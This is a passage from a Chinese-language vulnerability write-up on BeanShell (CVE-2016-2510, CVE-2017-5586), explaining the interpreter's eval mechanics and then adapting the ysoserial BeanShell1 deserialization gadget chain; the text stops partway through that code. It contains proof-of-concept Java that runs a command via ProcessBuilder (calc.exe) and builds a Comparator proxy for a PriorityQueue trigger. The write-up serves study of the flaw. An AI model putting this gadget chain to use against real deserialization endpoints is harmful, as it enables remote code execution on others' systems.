CVE-2016-2510&CVE-2017-5586 BeanShell漏洞

前言：

首先我们需要了解BeanShell具体是做什么：

BeanShell 是一种轻量级的可嵌入式脚本语言，用于在 Java 环境中执行脚本代码。它提供了一种简单、灵活的方式来扩展和定制 Java 应用程序的行为，允许开发人员动态地执行和评估脚本代码。

 BeanShell 的一些主要功能和用途如下：

脚本执行：BeanShell 允许在 Java 程序中执行脚本代码，而无需预先编译为字节码。它提供了与 Java 类似的语法和语义，可以直接在脚本中使用 Java 类、方法和变量。开发人员可以使用 BeanShell 编写脚本来执行各种任务，如数据处理、算法实现、动态配置等。

动态扩展：BeanShell 具有动态扩展应用程序功能的能力。通过在应用程序中嵌入 BeanShell，开发人员可以允许用户在运行时提供脚本代码来扩展应用程序的行为。这样可以实现动态配置、动态加载类、动态生成代码等功能，提高应用程序的灵活性和可定制性。

软件测试：BeanShell 也可以用作软件测试的工具。开发人员可以编写 BeanShell 脚本来模拟测试场景和数据，执行自动化测试，验证应用程序的行为和正确性。由于 BeanShell 可以直接访问 Java 类库，因此可以方便地与现有的测试框架和工具集成。

学习和教育：由于 BeanShell 的简洁语法和与 Java 的紧密集成，它常被用于学习和教育领域。开发人员可以使用 BeanShell 来教授编程基础知识、演示算法实现、快速原型开发等。同时，学生们也可以使用 BeanShell 来实践和测试他们的代码。

简单使用：

下面我们使用2.0.b4版本的BeanShell先编写点简单代码方便理解，pom添加：

    org.beanshell
    bsh-core
    2.0b4

首先我们尝试使用BeanShell调用eval动态执行代码打开计算器：

public static void  runcommand() throws EvalError {
    // BeanShell payload
    String payload = "new java.lang.ProcessBuilder(new String[]{\"calc.exe\"}).start()";
    //创建一个解析器
    Interpreter interpre = new Interpreter();
    //执行代码
    interpre.eval(payload);
}

执行上述代码可以看到成功打开计算器， 然后大概看下调用的堆栈：

可以看到当我们调用interpre.eval的时候首先会对payload的内容修改成为一个简单的节点，如果内容错误无法初始化为节点树则报错，判断完成后会判断payload内容是一个函数还是一条执行代码，这里为执行代码，这样就会通过调用doSuffix和doName两个方法获取代码中对应调用的类和对应方法，最后通过invokeObjectMethod和invokeMethod通过反射执行代码。

下面我们看通过函数是如何调用的：

    public static void  runfunction() throws EvalError {
        String payload = "compare() {new java.lang.ProcessBuilder(new String[]{\"calc.exe\"}).start();}";
        try {
            // 创建一个解析器
            Interpreter interpreter = new Interpreter();
            // 执行代码
            interpreter.eval(payload);
            // 调用 compare 方法
            Object result = interpreter.eval("compare()");
            System.out.println("Result: " + result);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

上述代码主要创建了compare方法然后通过eval调用payload中的compare方法进而弹出计算器，执行可以弹出计算器，同样来看下调用堆栈：

具体的执行方法其实也很简单，首先在执行 interpreter.eval(payload);的时候会判断payload内容，当内容是一个函数的时候，会将其放入NameSpace globalNameSpace;中，然后后面当我们再次通过interpreter.eval("compare()");调用compare方法的时候，首先会去globalNameSpace中去搜索方法名是否在列表中，如果列表中存在则和上面的差不多，通过调用doSuffix和doName两个方法获取代码中对应调用的类和对应方法，最后通过invokeObjectMethod和invokeMethod通过反射执行代码。

这里我们知道我们可以通过BeanShell直接执行java代码，或者执行函数，这样就存在了问题，当我们把我们要执行的恶意代码放入globalNameSpace中，然后想办法找到一个公共接口进行调用就可以执行对应的恶意方法

反序列化CVE-2016-2510：

下面通过根据ysoserial的BeanShell1改编如下代码：

    public static PriorityQueue getObject() throws Throwable {
        // BeanShell payload
        String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"calc.exe\"}).start();return new Integer(1);}";

        // Create Interpreter
        Interpreter i = new Interpreter();

        // Evaluate payload
        i.eval(payload);

        // Create InvocationHandler
        XThis xt = new XThis(i.getNameSpace(), i);

        Class xtclass = xt.getClass();
        Field field = xtclass.getDeclaredField("invocationHandler");
        field.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) field.get(xt);

        // Create Comparator Proxy
        Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);

        // Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
        final PriorityQueue